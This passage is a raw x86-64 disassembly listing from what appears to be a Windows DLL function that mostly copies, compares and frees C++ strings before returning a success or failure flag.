movdqu xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], SafeArrayGetLBound
mov byte [rax], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x1800077a3
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000779e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008449
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1800077f7
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800077f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000844f
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x18000784c
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007846
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008455
call fcn.180012dd0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180007889
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007884
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000845b
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1800078d7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800078d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008461
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
mov r8, r12
lea rcx, [rbp + 0x170]
call fcn.180001eb0
nop
mov rax, qword [rbp + 0x180]
cmp rax, 0x101
jae 0x180007b44
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x180007958
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007953
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008479
call fcn.180012dd0
mov qword [rbp + 0x180], r13
mov qword [rbp + 0x188], SafeArrayGetLBound
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x1800079b2
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000847f
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x180007a0b
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008485
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x180007a4c
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083b9
call fcn.180012dd0
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], SafeArrayGetLBound
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x180007aa7
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000848b
call fcn.180012dd0
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x180007ae3
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x180007ade
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008491
mov rcx, r8
call fcn.180012dd0
mov qword [r12 + 0x10], r13
mov qword [r12 + 0x18], SafeArrayGetLBound
mov byte [r12], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x180007b30
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x180007b2b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008497
mov rcx, r8
call fcn.180012dd0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], SafeArrayGetLBound
mov byte [rsi], 0
jmp 0x18000838d
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x270], xmm1
mov r8d, 0x100
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
lea rcx, [rbp + 0x260]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], r13
mov rax, qword [rbp + 0x180]
cmp rax, 0x100
jb 0x180008467
add rax, 0xffffffffffffff00
mov r8d, 1
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
add rdx, 0x100
lea rcx, [rbp + 0x240]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
mov r8d, 1
lea rdx, [0x180040b54]
lea rcx, [rbp + 0x140]
call fcn.18000e160
lea rdx, [rbp + 0x140]
mov r14, qword [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, r14
lea rcx, [rbp + 0x240]
mov rbx, qword [rbp + 0x240]
mov r13, qword [rbp + 0x258]
cmp r13, 0xf
cmova rcx, rbx
mov r8, qword [rbp + 0x250]
cmp r8, qword [rbp + 0x150]
jne 0x180007c76
call fcn.180033430
test eax, eax
jne 0x180007c76
xor r15b, r15b
jmp 0x180007c79
mov r15b, 1
mov rax, qword [rbp + 0x158]
cmp rax, 0xf
jbe 0x180007cb7
lea rdx, [rax + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x180007caf
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084a3
mov rcx, r14
call fcn.180012dd0
test r15b, r15b
je 0x180007f6a
cmp r13, 0xf
jbe 0x180007cf8
lea rdx, [r13 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180007cef
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000846d
mov rcx, rbx
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x180007d3a
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007d34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008473
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x180007d7b
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007d76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008479
call fcn.180012dd0
xor r15d, r15d
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], SafeArrayGetLBound
mov byte [rbp + 0x170], r15b
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x180007dd8
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007dd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000847f
call fcn.180012dd0
movdqa xmm0, xmmword [0x180041220]
movdqu xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x180007e31
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007e2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008485
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x180007e72
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007e6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083b9
call fcn.180012dd0
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], SafeArrayGetLBound
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x180007ecd
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007ec7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000848b
call fcn.180012dd0
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x180007f09
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x180007f04
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008491
mov rcx, r8
call fcn.180012dd0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], SafeArrayGetLBound
mov byte [r12], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x180007f56
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x180007f51
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008497
mov rcx, r8
call fcn.180012dd0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], SafeArrayGetLBound
mov byte [rsi], 0
jmp 0x18000838d
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
mov rax, qword [rbp + 0x180]
cmp rax, 0x101
jb 0x18000849d
add rax, 0xfffffffffffffeff
cmp rax, 0xffffffffffffffff
mov r8, 0xffffffffffffffff
cmovb r8, rax
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
add rdx, 0x101
lea rcx, [rbp + 0x190]
call fcn.18000e160
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x180008012
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000800d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084a3
call fcn.180012dd0
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x200], xmm1
movups xmm2, xmmword [rbp + 0x1a0]
movups xmmword [rbp + 0x210], xmm2
lea rax, [rbp + 0x140]
mov qword [rbp + 0x100], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xor r15d, r15d
mov qword [rbp + 0x150], r15
mov qword [rbp + 0x158], r15
lea r14, [rbp + 0x200]
movq rcx, xmm1
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova r14, rcx
movq rbx, xmm2
cmp rbx, rdi
ja 0x1800084a9
mov qword [rbp + 0x158], SafeArrayGetLBound
cmp rbx, 0xf
ja 0x1800080af
mov qword [rbp + 0x150], rbx
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x140], xmm0
jmp 0x18000814b
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x1800080eb
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180012e04
mov rcx, rax
test rax, rax
je 0x1800084af
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180008126
mov rdi, rax
cmp rax, 0x16
mov eax, SafeArrayPutElement
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x180008117
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800083c5
jmp 0x1800080c9
test rcx, rcx
je 0x180008123
call fcn.180012e04
jmp 0x180008126
mov rax, r15
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], rdi
lea r8, [rbx + 1]
mov rdx, r14
mov rcx, rax
call fcn.180032950
nop
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x80]
call fcn.18000b1b0
nop
lea r8, [rbp + 0x140]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.180005fa0
mov rbx, rax
lea rax, [rbp + 0x170]
cmp rax, rbx
je 0x1800081ff
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x1800081c2
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800081bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084b5
call fcn.180012dd0
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], SafeArrayGetLBound
mov byte [rbp + 0x170], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], SafeArrayGetLBound
mov byte [rbx], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x180008240
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000823b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084b5
call fcn.180012dd0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x190]
call fcn.18000b1b0
xor r8d, r8d
mov rdx, rax
mov ecx, dword [rbp + 0x160]
call fcn.180003830
nop
lea rcx, [rbp + 0x240]
test eax, eax
je 0x1800082df
call fcn.18000afb0
nop
lea rcx, [rbp + 0x260]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x170]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x220]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x200]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x1c0]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x1e0]
call fcn.18000afb0
nop
mov rcx, r12
call fcn.18000afb0
nop
mov rcx, rsi
call fcn.18000afb0
mov eax, 1
jmp 0x18000838f
call fcn.18000afb0
nop
lea rcx, [rbp + 0x260]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x170]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x220]
call fcn.18000afb0
nop
lea rcx, [rbp + 0x200]
call fcn.18000afb0
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x180008356
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008351
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800083b9
call fcn.180012dd0
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], SafeArrayGetLBound
mov byte [rbp + 0x1c0], 0
lea rcx, [rbp + 0x1e0]
call fcn.18000afb0
nop
mov rcx, r12
call fcn.18000afb0
nop
mov rcx, rsi
call fcn.18000afb0
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.180012db0
mov rbx, qword [rsp + 0x4f0]
add rsp, 0x4a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.18001be88
nop
call fcn.1800012d0
nop
call fcn.1800012d0
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
int3
call fcn.180001370
int3
call fcn.18001be88
nop
call fcn.180001370
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18000d260
int3
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18000d260
int3
call fcn.18001be88
int3
call fcn.180001370
int3
call fcn.18001be88
int3
call fcn.18001be88
int3